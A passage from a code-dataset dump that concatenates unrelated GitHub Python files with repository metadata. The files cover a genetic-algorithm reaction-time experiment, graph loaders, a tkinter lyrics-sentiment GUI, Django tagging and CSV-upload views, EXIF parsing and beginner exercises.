SimpleRTTask()\n trials.run(c, make_network(c))\n #print()\n\ndef choicert_fitness_function(pop):\n #print(' fitness\\tvalidRT\\tneutrRT\\tinvldRT\\tres\\tmis\\tant\\twro\\tcat')\n for c in pop:\n trials = ChoiceRTTask()\n trials.run(c, make_network(c))\n #print()\n \nif config['TYPE'] == 'Simple':\n ga.Population.evaluate_fitness = simplert_fitness_function\n #print('Simple RT task selected.')\n OUTPUT_NEURONS = 1\nelse:\n ga.Population.evaluate_fitness = choicert_fitness_function\n #print('Choice RT task selected.')\n OUTPUT_NEURONS = 2\nga.Run.MAX_STAGNATION = MAX_STAGNATION\n\nINPUT_NEURONS = 5\nHIDDEN_NEURONS = int(config['HIDDEN_NEURONS'])\nNEURONS = INPUT_NEURONS + HIDDEN_NEURONS + OUTPUT_NEURONS\n\nVALID = int(config['VALID'])\nINVALID = int(config['INVALID'])\nNEUTRAL = int(config['NEUTRAL'])\nCATCH = float(config.get('CATCH', 0))\nREPS = int(config['REPS'])\nTask.MAX_CUE_TIME = int(config.get('MAX_CUE_TIME', 200))\n\n# For the simple GA\n\ndef get_list_genes():\n list_genes = []\n for i in range(NEURONS):\n list_genes.append(ga.Gene(MIN_GENE, MAX_GENE, MUTATION_STEP)) # bias\n for i in range(NEURONS * NEURONS): # synapses\n list_genes.append(ga.Gene(MIN_GENE, MAX_GENE, MUTATION_STEP))\n return list_genes\n\ndef make_network(c):\n return ifnn.Network(INPUT_NEURONS, OUTPUT_NEURONS, HIDDEN_NEURONS, c, TAU)\n \ndef friendly_time(t):\n s = []\n if t > 86400:\n s.append('%d day(s)' % (t // 86400))\n t = t % 86400\n if t > 3600:\n s.append('%d hour(s)' % (t // 3600))\n t = t % 3600\n if t > 60:\n s.append('%d minute(s)' % (t // 60))\n t = t % 60\n s.append('%d seconds(s)' % int(t))\n return ' '.join(s)\n \ndef sub_pop(run, i):\n newpop = ga.Population.get_random(NUM_INDS, get_list_genes())\n run[i] = newpop\n\nTask.define_trials(VALID, NEUTRAL, INVALID, CATCH, REPS)\n\nif __name__ == '__main__':\n if not os.path.exists(DIR):\n os.mkdir(DIR)\n for run_number in range(RUNS):\n print(\"Run\", run_number + 1)\n arquivo = FILENAME % (run_number, 0)\n if os.path.exists(arquivo):\n with open(arquivo, 'rb') as f:\n run = ga.Run.load(f)\n else:\n run = ga.Run()\n for i in range(NUM_POPS):\n pop = ga.Population.get_random(NUM_INDS, get_list_genes())\n run.append(pop)\n with open(arquivo, 'wb') as f:\n run.dump(f)\n print(\"Generation 0\")\n while run.g < GENERATIONS:\n new_g = run.g + SAVE\n arquivo = FILENAME % (run_number, new_g)\n if os.path.exists(arquivo):\n with open(arquivo, 'rb') as f:\n run = ga.Run.load(f)\n else:\n run.iterate(SAVE)\n assert run.g == new_g\n if MIGRAR and run.g % MIGRAR == 0:\n run.migrate()\n with open(arquivo, 'wb') as f:\n run.dump(f)\n print(\"Generation %d\" % (run.g))","repo_name":"carolfs/rtexp","sub_path":"rtexp.py","file_name":"rtexp.py","file_ext":"py","file_size_in_byte":10654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26988342560","text":"import networkx as nx\nimport json\n\n\ndef read_graph_from_txt(path):\n node_ids = dict()\n\n graph = nx.MultiDiGraph()\n with open(path) as file:\n node_num = 0\n edge_num = 0\n nodes = dict()\n edges = dict()\n for edge in file:\n a = edge.split(\"\\t\")\n if a[0] not in nodes:\n nodes[a[0]] = node_num\n node_ids[node_num] = a[0]\n node_num += 1\n if a[1] not in nodes:\n nodes[a[1]] = node_num\n node_ids[node_num] = a[1]\n node_num += 1\n if a[2] not in edges:\n edges[a[2]] = edge_num\n edge_num += 1\n graph.add_edge(nodes[a[0]], nodes[a[1]], type=edges[a[2]])\n return graph, node_ids, edges\n\n\ndef read_graph_from_json(path):\n nodes = dict()\n r_n = dict()\n edge_attrs = dict()\n r_e_a = dict()\n counter = 0\n attr_counter = 0\n with open(path, \"r\", encoding=\"ISO-8859-1\") as file:\n data = json.load(file)\n graph = nx.MultiDiGraph()\n network = data[\"graphs\"]\n for n in network[\"nodes\"]:\n if n[\"id\"] not in nodes:\n nodes[n[\"id\"]] = counter\n r_n[counter] = n[\"id\"]\n graph.add_node(counter)\n counter += 1\n for e in network[\"edges\"]:\n if e['pred'] in edge_attrs:\n num = edge_attrs[e['pred']]\n else:\n edge_attrs[e['pred']] = attr_counter\n r_e_a[attr_counter] = e[\"pred\"]\n num = attr_counter\n attr_counter += 1\n if e[\"sub\"] not in nodes:\n nodes[e[\"sub\"]] = counter\n r_n[counter] = e[\"sub\"]\n graph.add_node(counter)\n counter += 1\n if e[\"obj\"] not in nodes:\n nodes[e[\"obj\"]] = counter\n r_n[counter] = e[\"obj\"]\n graph.add_node(counter)\n counter += 1\n graph.add_edge(nodes[e['sub']], nodes[e['obj']], type=num)\n return graph, r_n, r_e_a","repo_name":"smeznar/ontology-completion-with-graph-learners","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"15215971994","text":"import numpy as np\nS = \"Será que hoje vai chover, eu não sei não\"\nS = S.lower()\nS = S.replace(',', '')\nS = S.split()\nV = list(set(S))\nV.sort()\nV = dict(zip(V, range(0, len(V))))\n\nn = len(V)\nM = np.zeros((4,n), dtype=int)\nfor k, w in enumerate(S[0:2] + S[3:5]):\n i = V[w]\n wr = np.zeros(n)\n wr[i] = 1\n M[k] = wr\n\n# V\n# V\n# S\n# list(set(S))\n# list(set(S)).sorted()\n# V = list(set(S))\n# V\n# V.sort()\n# V\n# for w in S[0:2] + S[3:5]:\n# print(V[w])\n# S\n# S[0:2]\n# S[0:2] + S[3:5]\n# V\n# V = dict(zip(V,range(1,len(V))))\n# V\n# V = dict(zip(V,range(1,len(V+1))))\n# V = \"Será que hoje vai chover, eu não sei não\"\n# V = V.lower()\n# V = V.split()\n# S\n# V\n# V = dict(zip(V,range(1,len(V+1))))\n# V\n# V = dict(zip(V,range(1,len(V)+1)))\n# V\n# %history\n","repo_name":"igormorgado/nlp","sub_path":"writes/asd.py","file_name":"asd.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38579956062","text":"#!/usr/bin/env python3\n\nimport tkinter as tk\nimport util.regularexpression as reutil\n\nfrom api.genius import GeniusAPI\nfrom util.themodel import GetSentiment\n\nclass Gui(tk.Tk):\n def __init__(self, apiobject : GeniusAPI) -> None:\n super().__init__()\n\n # assign genius api\n self.genius_api = apiobject\n\n # set window vars\n self.title(\"SSC\")\n self.geometry(\"600x400\")\n self.minsize(600, 400)\n\n # define fonts\n self.header_font = (\"System\", 22, \"bold\")\n self.default_font = (\"System\", 12)\n\n # safe close for model\n self.protocol(\"WM_DELETE_WINDOW\", self.safe_destroy)\n\n # menu frame\n self.menu_frame = tk.Frame(self,\n width = 600,\n height = 400,\n bg = \"lightgrey\"\n )\n\n # menu gui items\n self.title = tk.Label(self.menu_frame,\n text = \"song sentiment comparer\",\n bg = \"lightgrey\",\n fg = \"black\",\n font = self.header_font\n )\n self.search_bar = tk.Entry(self.menu_frame,\n bg = \"white\",\n fg = \"black\",\n width = 52,\n font = self.default_font\n )\n self.recommended_one = tk.Label(self.menu_frame,\n text=\"ween - bananas and blow\",\n bg = \"white\",\n fg = \"black\",\n width = 52,\n anchor = \"w\",\n font = self.default_font\n )\n self.recommended_two = tk.Label(self.menu_frame,\n text=\"talking heads - im not in love\",\n bg = \"white\",\n fg = \"black\",\n width = 52,\n anchor = \"w\",\n font = self.default_font\n )\n self.recommended_thr = tk.Label(self.menu_frame,\n text=\"travis - side\",\n bg = \"white\",\n fg = \"black\",\n width = 52,\n anchor = \"w\",\n font = self.default_font\n )\n self.output_box = tk.Label(self.menu_frame,\n text = \"input a song to find more like it\\npress 'alt' to autocompleate\",\n bg = \"lightgrey\",\n fg = \"black\",\n font = self.default_font\n )\n # assign list for recommended labels\n self.recommended_list = [\n self.recommended_one,\n self.recommended_two,\n self.recommended_thr\n ]\n\n # pack all items\n self.menu_frame.pack(fill=tk.BOTH, expand=1)\n self.title.pack(fill=tk.X, pady=(32, 28))\n self.search_bar.pack(fill=tk.NONE, pady=(2, 0))\n for label in self.recommended_list:\n label.pack(fill=tk.NONE)\n self.output_box.pack(fill=tk.BOTH, pady=(22, 12))\n\n # binds\n self.bind(\"\", lambda event: self.search(event, searchtext=self.search_bar.get()))\n self.bind(\"\", lambda event: self.getsuggested(event, searchtext=self.search_bar.get()))\n # for each recommended, cant do this in a for loop :((\n self.recommended_one.bind(\"\", lambda event: self.search(event, searchtext=self.recommended_one[\"text\"]))\n self.recommended_one.bind(\"\", func=lambda e: self.recommended_one.config(bg=\"grey\"))\n self.recommended_one.bind(\"\", func=lambda e: self.recommended_one.config(bg=\"white\"))\n self.recommended_two.bind(\"\", lambda event: self.search(event, searchtext=self.recommended_two[\"text\"]))\n self.recommended_two.bind(\"\", func=lambda e: self.recommended_two.config(bg=\"grey\"))\n self.recommended_two.bind(\"\", func=lambda e: self.recommended_two.config(bg=\"white\"))\n self.recommended_thr.bind(\"\", lambda event: self.search(event, searchtext=self.recommended_thr[\"text\"]))\n self.recommended_thr.bind(\"\", func=lambda e: self.recommended_thr.config(bg=\"grey\"))\n self.recommended_thr.bind(\"\", func=lambda e: self.recommended_thr.config(bg=\"white\"))\n\n # focus search bar\n self.search_bar.focus()\n\n def getsuggested(self, event = None, searchtext = \"\") -> None:\n # update each recommended label with genius suggestion\n for i, artistsongobj in enumerate(self.genius_api.get_artistsong_obj_from_search(searchtext, size_limit=3)):\n self.recommended_list[i][\"text\"] = f\"{artistsongobj['title']} - {artistsongobj['artist']}\"\n # update tkinter bc it gets confused\n self.update()\n\n def search(self, event = None, searchtext = \"\", trycount = 0) -> None:\n # check try count\n if trycount > 5:\n self.output_box[\"text\"] = \"error finding search from genus\"\n return\n # get artistsongobj from search\n artistsongobj = self.genius_api.get_artistsong_obj_from_search(searchtext)[0]\n # if cannot find any results\n if artistsongobj == []:\n print(\"cannot find any songs\")\n self.output_box[\"text\"] = \"cannot find any songs from search\"\n return None\n # set object var names\n title = artistsongobj[\"title\"]\n artist = artistsongobj[\"artist\"]\n # set searchbar to text\n self.search_bar.delete(0, tk.END)\n self.search_bar.insert(0, f\"{artist} - {title}\")\n # get lyrics\n lyrics = self.genius_api.get_lyrics_from_song(songtitle=title, artistname=artist)\n # retry if timed out\n if lyrics == \"\":\n self.search(event, searchtext, trycount + 1)\n # cleanup, & output as label\n CleanLyrics = reutil.CleanLyrics(lyrics)\n sentiment_txt = GetSentiment(CleanLyrics, True)\n self.output_box[\"text\"] = sentiment_txt\n\n def safe_destroy(self) -> None:\n # check if model is running & stop\n print(\"deading...\")\n self.destroy()\n\nif __name__ == \"__main__\":\n root = Gui()\n root.mainloop()\n\n# https://raw.githubusercontent.com/Dvlv/Tkinter-By-Example/master/Tkinter-By-Example.pdf","repo_name":"TrvsF/song-sentiment-comparer","sub_path":"src/main/gui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":5934,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"6221878887","text":"import json\nfrom copy import deepcopy\nfrom threading import RLock\n\nfrom django.conf import settings\nfrom django.forms import model_to_dict\n\nfrom ..api.modules.meta import MetaApi\nfrom ..exceptions import (\n TagNotExistError,\n TargetNotExistError,\n TargetTypeNotAllowedError,\n)\nfrom ..local import get_request_username\nfrom .models import Tag, TagMapping, TagTarget\n\nallowed_target_info = {}\nlock = RLock()\n\n\ndef find_related_tag(target_type, target_id):\n return TagTarget.objects.filter(target_type=target_type, target_id=target_id)\n\n\ndef init_allowed_target_info():\n global allowed_target_info\n if not allowed_target_info:\n allowed_target_info = {\n v[\"target_type\"]: v[\"table_primary_key\"] for k, v in getattr(settings, \"TAG_RELATED_MODELS\", {}).items()\n }\n for k, v in deepcopy(allowed_target_info).items():\n if isinstance(k, (tuple, list)):\n allowed_target_info.pop(k)\n for per_target_type in k:\n allowed_target_info[per_target_type] = v\n\n\ndef target_validate(target_type, target_id, biz_project_id_dict):\n if not allowed_target_info:\n with lock:\n init_allowed_target_info()\n info = allowed_target_info.get(target_type, None)\n if not info:\n raise TargetTypeNotAllowedError(message_kv={\"type\": target_type})\n\n table_name, primary_key = info.split(\".\")\n sql = \"select * from {} where {}={}\".format(table_name, primary_key, json.dumps(target_id))\n query_result = MetaApi.entity_complex_search({\"statement\": sql, \"backend_type\": \"mysql\"}, raw=True)\n result = query_result[\"result\"]\n message = query_result[\"message\"]\n if not result:\n raise Exception(message)\n data = query_result[\"data\"]\n if data:\n data_dict = data[0]\n if target_type == \"result_table\":\n biz_project_id_dict[target_id] = {\n \"bk_biz_id\": data_dict.get(\"bk_biz_id\"),\n \"project_id\": data_dict[\"project_id\"],\n }\n elif target_type == \"raw_data\":\n biz_project_id_dict[target_id] = {\"bk_biz_id\": data_dict.get(\"bk_biz_id\")}\n return len(data) > 0\n\n\ndef get_inherit_tag(tag_code_list): # 得到标签的继承关系信息\n tag_result = {}\n for tag_code in tag_code_list:\n tag_list = Tag.objects.filter(active=1, code=tag_code).values(\"id\", \"code\", \"parent_id\", \"tag_type\")\n if not tag_list:\n raise TagNotExistError(message_kv={\"code\": tag_code})\n\n while tag_list:\n tag_dict = tag_list[0]\n code = tag_dict[\"code\"]\n tag_type = tag_dict[\"tag_type\"]\n parent_id = tag_dict[\"parent_id\"]\n if tag_code in tag_result:\n tag_result[tag_code].append({\"tag_code\": code, \"tag_type\": tag_type})\n else:\n tag_result[tag_code] = [{\"tag_code\": code, \"tag_type\": tag_type}]\n if parent_id == 0:\n break\n else:\n tag_list = Tag.objects.filter(active=1, id=parent_id).values(\"id\", \"code\", \"parent_id\", \"tag_type\")\n return tag_result\n\n\ndef map_tags(tag_codes):\n tag_code_set = set(tag_codes)\n mapped_codes = TagMapping.objects.filter(code__in=tag_code_set)\n if mapped_codes:\n for item in mapped_codes:\n tag_code_set.remove(item.code)\n tag_code_set.add(item.mapped_code)\n return list(tag_code_set)\n\n\ndef create_tag_to_target(\n targets, tags, target_exists=True, bk_biz_id=None, project_id=None\n): # 例子:[('result_table', 'battle_info')], ['NA']\n if targets and tags:\n tags = map_tags(tags)\n tag_inherit_result = get_inherit_tag(tags)\n username = get_request_username()\n biz_project_id_dict = {}\n for target in targets: # 校验参数合法性\n target_type = target[0]\n target_id = target[1]\n if target_exists: # 说明是给已存在的实体打标签的,若target_type=result_table或者raw_data,则还要拿到实体的bk_biz_id或project_id作为冗余保存\n ret = target_validate(target_type, target_id, biz_project_id_dict)\n if not ret:\n raise TargetNotExistError(message_kv={\"id\": target_id, \"type\": target_type})\n\n for target in targets:\n target_type = target[0]\n target_id = target[1]\n p_bk_biz_id, p_project_id = bk_biz_id, project_id\n if target_exists: # 说明是给已存在的实体打标签\n if target_type == \"result_table\" or target_type == \"raw_data\":\n data_dict = biz_project_id_dict[target_id]\n p_bk_biz_id = data_dict.get(\"bk_biz_id\", None)\n p_project_id = data_dict.get(\"project_id\", None)\n\n for tag in tags:\n inherit_list = tag_inherit_result[tag]\n for tag_dict in inherit_list:\n tag_code = tag_dict[\"tag_code\"]\n tag_type = tag_dict[\"tag_type\"]\n item = {\n \"target_id\": target_id,\n \"target_type\": target_type,\n \"updated_by\": username,\n \"tag_code\": tag_code,\n \"source_tag_code\": tag,\n \"tag_type\": tag_type,\n \"created_by\": username,\n \"bk_biz_id\": p_bk_biz_id,\n \"project_id\": p_project_id,\n }\n TagTarget.objects.create(**item)\n\n\ndef delete_tag_to_target(targets, tags):\n if targets and tags:\n tags = map_tags(tags)\n for target in targets:\n target_type = target[0]\n target_id = target[1]\n for tag in tags:\n TagTarget.objects.filter(target_id=target_id, target_type=target_type, source_tag_code=tag).delete()\n\n\ndef gen_geog_tags_info(tag_code=\"geog_area\", depth=2):\n codes_map = {}\n codes_info = {}\n\n start_tag = Tag.objects.filter(code=tag_code).get()\n codes_map[start_tag.code] = {}\n\n tags_info = [(start_tag, codes_map[start_tag.code])]\n next_tags_info = []\n for i in range(10):\n if not tags_info:\n break\n for tag, storage in tags_info:\n tag_info = model_to_dict(tag)\n if i >= depth:\n codes_info[tag.code] = tag_info\n next_tags = Tag.objects.filter(parent_id=tag.id).all()\n for next_tag in next_tags:\n storage[next_tag.code] = {}\n next_tags_info.append((next_tag, storage[next_tag.code]))\n tags_info = next_tags_info\n next_tags_info = []\n return codes_map, codes_info\n\n\ndef get_default_geog_tag():\n codes_map, codes_info = gen_geog_tags_info()\n if codes_info and isinstance(codes_info, dict):\n return list(codes_info.values())[0]\n return {}\n","repo_name":"Tencent/bk-base","sub_path":"src/api/upizza/common/meta/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":6913,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"18"} +{"seq_id":"7253203293","text":"from django.contrib.auth import get_user_model\nfrom django.core import exceptions, validators\n\nUser = get_user_model()\n\n\ndef is_email_available(email):\n try:\n User.objects.get(email__iexact=email)\n except User.DoesNotExist:\n return True\n return False\n\n\ndef is_email_valid(email):\n email_validator = validators.EmailValidator()\n try:\n email_validator(email)\n except (TypeError, exceptions.ValidationError):\n return False\n return True\n","repo_name":"theyoungastronauts/houston-old","sub_path":"service/project/utils/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32284013823","text":"import glob\n\n\nwholeUsers = {}\nfor csvFile in glob.glob('*.csv'):\n title = csvFile.replace('.csv', '')\n users = {}\n for file in glob.glob(title + '\\\\*.csv'):\n with open(file, 'r', encoding='gbk') as f:\n blogs = f.read().split('\\n')\n for i in range(1, len(blogs)):\n user = blogs[i].split(',')[0]\n if user not in users.keys():\n users.update({user: 0})\n users.update({user: users[user] + 1})\n output_text = ''\n for user in users.keys():\n output_text += user + ',' + str(users[user]) + '\\n'\n with open(title + '_count.csv', 'w', encoding='utf-8') as f:\n f.write(output_text)\n wholeUsers.update(users)\n\noutput_text = ''\nfor user in wholeUsers.keys():\n output_text += user + ',' + str(wholeUsers[user]) + '\\n'\nwith open('wholeCount.csv', 'w', encoding='utf-8') as f:\n f.write(output_text)\n\n'''\ncount = 0\nfor csvFile in glob.glob('*.csv'):\n title = csvFile.replace('.csv', '')\n count += len(glob.glob(title + '\\\\*.csv'))\nprint(count)\n'''","repo_name":"xyb314/weibo_comment_crawler_experiment","sub_path":"dates/用户频率统计.py","file_name":"用户频率统计.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"33753915835","text":"import json\nimport os\n\n\nclass ExifInfo:\n def __init__(self, exif):\n \"\"\"init\"\"\"\n if 'Make' in exif.keys():\n self.make = exif['Make'] # Manufacturer\n else:\n self.make = str()\n if 'Model' in exif.keys():\n self.model = exif['Model'] # Model\n else:\n self.model = str()\n if 'DateTimeOriginal' in exif.keys():\n self.date_time = exif['DateTimeOriginal'] # DateTime\n else:\n self.date_time = str()\n if 'ISOSpeedRatings' in exif.keys():\n self.iso_speed = exif['ISOSpeedRatings'] # ISO Speed\n else:\n self.iso_speed = int()\n if 'ColorSpace' in exif.keys():\n self.color_space = exif['ColorSpace'] # Color Space\n else:\n self.color_space = int()\n if 'GPSInfo' in exif.keys():\n self.gps = exif['GPSInfo'] # GPS Info\n self.lat = float()\n self.lng = float()\n else:\n self.gps = dict()\n self.lat = float()\n self.lng = float()\n if 'Orientation' in exif.keys():\n self.orientation = exif['Orientation'] # Direction of Rotation\n else:\n self.orientation = int()\n if 'FocalLength' in exif.keys():\n self.focal_length = exif['FocalLength'] # Focus Length\n else:\n self.focal_length = tuple()\n if 'Flash' in exif.keys():\n self.flash = exif['Flash'] # Flash\n else:\n self.flash = int()\n\n def cal_gps(self):\n \"\"\"calculate GPS Info\"\"\"\n if self.gps == dict():\n return\n\n lat_data = self.gps[2]\n lng_data = self.gps[4]\n\n \"\"\"Calculate Latitude, Longitude\"\"\"\n lat_deg = lat_data[0][0] / float(lat_data[0][1])\n lat_min = lat_data[1][0] / float(lat_data[1][1])\n lat_sec = lat_data[2][0] / float(lat_data[2][1])\n\n lng_deg = lng_data[0][0] / float(lng_data[0][1])\n lng_min = lng_data[1][0] / float(lng_data[1][1])\n lng_sec = lng_data[2][0] / float(lng_data[2][1])\n\n \"\"\"Set Latitude, Longitude base on N/E/W/S \"\"\"\n self.lat = (lat_deg + (lat_min + lat_sec / 60.00) / 60.00)\n\n if self.gps[1] == 'S':\n self.lat *= -1\n\n self.lng = (lng_deg + (lng_min + lng_sec / 60.00) / 60.00)\n\n if self.gps[3] == 'W':\n self.lng *= -1\n\n def cal_focal(self):\n \"\"\"calculate focal length\"\"\"\n plane_x_size = self.focal_length[0]\n plane_y_size = self.focal_length[1]\n\n self.focal_length = plane_x_size / plane_y_size\n\n def cal_flash(self):\n \"\"\"calculate flash value\"\"\"\n with open(os.getcwd() + '/analy/core/flash_data.json') as json_data:\n flash_values = json.load(json_data)\n\n val = str(self.flash)\n\n if val in flash_values.keys():\n self.flash = flash_values[val]\n\n def cal_orientation(self):\n \"\"\"calculate orientation value\"\"\"\n with open(os.getcwd() + '/analy/core/orientation_data.json') as json_data:\n ott_value = json.load(json_data)\n\n val = str(self.orientation)\n\n if val in ott_value.keys():\n self.orientation = ott_value[val]\n\n def cal_space(self):\n \"\"\"calculate color space value\"\"\"\n with open(os.getcwd() + \"/analy/core/space_data.json\") as json_data:\n cs_data = json.load(json_data)\n\n val = str(self.color_space)\n\n if val in cs_data.keys():\n self.color_space = cs_data[val]\n\n def calculate_all(self):\n self.cal_gps()\n self.cal_focal()\n self.cal_flash()\n self.cal_orientation()\n self.cal_space()\n","repo_name":"tkddnr924/LetsBe","sub_path":"LetsGo/analy/core/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"72196027881","text":"# Captain Rainbox's Color Checklist: https://www.makeschool.com/academy/track/captain-rainbow-s-color-checklist\n\n# Create our Checklist\nchecklist = list()\n\n# Define Functions\n# CREATE\ndef create(item):\n checklist.append(item)\n\n# READ\ndef read(index):\n return checklist[index]\n\n# UPDATE\ndef update(index, item):\n checklist[index] = item\n\n# DESTROY\ndef destroy(index):\n checklist.pop(index)\n\ndef list_all_items():\n index = 0\n for list_item in checklist:\n print(\"{} {}\".format(index, list_item))\n index += 1\n\n# Mark Complete\ndef mark_completed(index):\n update(index, \"√ \" + checklist[index])\n print(\"Marked \" + checklist[index] + \". Updated Checklist:\")\n list_all_items()\n\n# Check if index is valid\ndef check_input(input):\n if int(input) >= len(checklist):\n print(\"Invalid Index. Please try again. \")\n return True\n else:\n return False\n\n\n# Select\ndef select(function_code):\n # Create item\n if function_code == \"C\":\n input_item = user_input(\"Input item: \")\n create(input_item)\n\n # Read item\n elif function_code == \"R\":\n invalid = True\n while invalid:\n index = user_input(\"Index Number? \")\n invalid = check_input(index)\n # Remember that item_index must actually exist or our program will crash.\n print(\"Item: \" + read(int(index)))\n \n elif function_code == \"U\":\n list_all_items()\n\n invalid = True\n while invalid:\n index = user_input(\"Update which item? (Select index) \")\n invalid = check_input(index)\n\n item = user_input(\"Change to: \")\n update(int(index), item)\n print(\"Item changed. Updated List below:\")\n list_all_items()\n \n elif function_code == \"D\":\n list_all_items()\n\n invalid = True\n while invalid:\n index = user_input(\"Delete which item? (Select index) \")\n invalid = check_input(index)\n\n destroy(int(index))\n print(\"Item deleted. Updated List below: \")\n list_all_items()\n\n # Print all items\n elif function_code == \"P\":\n list_all_items()\n\n # Quit\n elif function_code == \"Q\":\n return False\n \n elif function_code == \"X\":\n list_all_items()\n \n invalid = True\n while invalid:\n index = user_input(\"Mark which item complete? (Select index) \")\n invalid = check_input(index)\n\n mark_completed(int(index))\n print('Updated List Below: ')\n list_all_items()\n\n\n # Catch all\n else:\n print(\"Unknown Option\")\n return True\n\ndef user_input(prompt):\n # the input function will display a message in the terminal\n # and wait for user input.\n user_input = input(prompt)\n return user_input\n\n# TEST\ndef test():\n create(\"purple sox\")\n #create(\"red cloak\")\n\n #print(read(0))\n #print(read(1))\n\n update(0, \"Purple Socks\")\n #destroy(1)\n\n #print(read(0))\n create(\"Yellow Shoes\")\n create(\"Green Watch\")\n create(\"Orange Shirt\")\n list_all_items()\n\n mark_completed(1)\n\n # Call your new function with the appropriate value\n select(\"C\")\n # View the results\n list_all_items()\n # Call function with new value\n select(\"R\")\n # View results\n list_all_items()\n # Continue until all code is run\n select(\"U\")\n # Call function with new value\n select(\"D\")\n\n# Run Tests\ntest()\n\nrunning = True\nwhile running:\n selection = user_input(\n \"Press C to add to list, R to Read from list, P to display list, U to update item, D to delete item, X to mark complete and Q to quit \")\n running = select(selection.upper())","repo_name":"aucoeur/checklist","sub_path":"checklist.py","file_name":"checklist.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3572866344","text":"cedula1 = cedula10 = cedula20 = cedula50 = 0\r\nvalorsac = float(input('Qual valor deseja sacar: '))\r\nif valorsac >= 50:\r\n while valorsac >= 50:\r\n cedula50 += 1\r\n valorsac = valorsac - 50\r\n if cedula50 != 0:\r\n print(f'Saque de {cedula50} cedulas de R$50,00')\r\n while valorsac >= 20 < 50:\r\n cedula20 += 1\r\n valorsac = valorsac - 20\r\n if cedula20 != 0:\r\n print(f'Saque de {cedula20} cedulas de R$20,00')\r\n while valorsac >= 10 < 20:\r\n cedula10 += 1\r\n valorsac = valorsac -10\r\n if cedula10 != 0:\r\n print(f'Saque de {cedula10} cedulas de R$10,00')\r\n while valorsac >= 1 < 9:\r\n cedula1 += 1\r\n valorsac = valorsac - 1\r\n if cedula1 != 0:\r\n print(f'Saque de {cedula1} cedulas de R$1,00')\r\nprint('FIM')","repo_name":"rodrigouberlandiamg/Python","sub_path":"CursoEmVideoMundo2/desafio071.py","file_name":"desafio071.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30093530610","text":"# lê 3 números\n# qual o maior e qual é o menor\n\nn1 = float(input('Digite um número'))\nn2 = float(input('Digite mais um número:'))\nn3 = float(input('Mais um: '))\nmenor = n1\n\nif n2 < n1 and n2 < n3:\n menor = n2\nif n3 < n2 and n3 < n2:\n menor = n3\nmaior = n1\nif n2 > n1 and n2 > n3:\n maior = n2\nif n3 > n1 and n3 > n2:\n maior = n3\nprint('Menor: {}'.format(menor))\nprint('Maior: {}'.format(maior))\n\n# feito junto com o guanabara","repo_name":"valencprado/py-curso-em-video","sub_path":"exercises/Mundo 1/ex033.py","file_name":"ex033.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"40865382825","text":"# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom django.template.context_processors import csrf\nfrom django.conf import settings\nfrom upload_form.models import FileNameModel\nfrom upload_form.models import ImageURLModel\nfrom upload_form.models import BudgetModel\nimport sys, os\nimport pandas as pd\nfrom . import forms as forms\nfrom . import calculate as cl\nfrom django import forms as fm_d\nUPLOADE_DIR = os.path.dirname(os.path.abspath(__file__)) + '/static/files/'\n\n###ファイルアップロード関数\ndef form(request):\n \n #通常時form.htmlを表示\n if request.method != 'POST':\n return render(request, 'upload_form/form.html')\n \n #ファイル取得し、データをcsv_dataに格納\n file = request.FILES['file']\n path = os.path.join(UPLOADE_DIR, file.name)\n destination = open(path, 'wb')\n \n '''#Fileをアップロード先に保存\n for chunk in file.chunks():\n destination.write(chunk)\n destination.close()'''\n \n #File名をサーバーに保存\n insert_data = FileNameModel(file_name = file.name,file_obj = file)\n insert_data.save()\n \n return redirect('upload_form:choice_column')\n #return render(request,'upload_form/complete.html',data)\n\n\n###ファイルアップロード完了関数\ndef complete(request):\n \n return render(request, 'upload_form/complete.html')\n\n###アップしたファイルのカラム名からアロケしたい要素を選択\ndef choice_column(request):\n \n #データベースに格納されたファイルオブジェクトを抽出→URLを抽出→ファイルデータを格納\n temp = FileNameModel.objects.latest('id')\n csv_data = pd.read_csv(temp.file_obj.url, encoding = 'ms932')\n\n #選択されたファイルのカラム名をリスト化(アロケ粒度用)\n group1 = []\n for factor in csv_data.select_dtypes(exclude=['number']).columns:\n group1.append((factor,factor))\n \n #選択されたファイルのカラム名をリスト化(Day選択用)\n group2 = []\n for factor in csv_data.select_dtypes(exclude=['number']).columns:\n group2.append((factor,factor)) \n \n #選択されたファイルのカラム名をリスト化(最大化項目選択用)\n group3 = []\n for factor in csv_data.select_dtypes(include=['number']).columns:\n group3.append((factor,factor)) \n \n #選択されたファイルのカラム名をリスト化(入力項目選択用)\n group4 = []\n for factor in csv_data.select_dtypes(include=['number']).columns:\n group4.append((factor,factor))\n\n #forms.pyで定義されたフォームをファイルのカラム名で再定義\n form = forms.DfColumnForm()\n form.fields['df_columns'].choices = group1\n form.fields['df_date'].choices = group2\n form.fields['df_goal'].choices = group3\n form.fields['df_control'].choices = group4\n\n #選択されたカラム名/date項目を受け取り\n obj_choices = request.POST.getlist('df_columns')\n obj_date = request.POST.getlist('df_date')\n obj_goal = request.POST.getlist('df_goal')\n obj_control = request.POST.getlist('df_control')\n \n image_url = ''\n\n 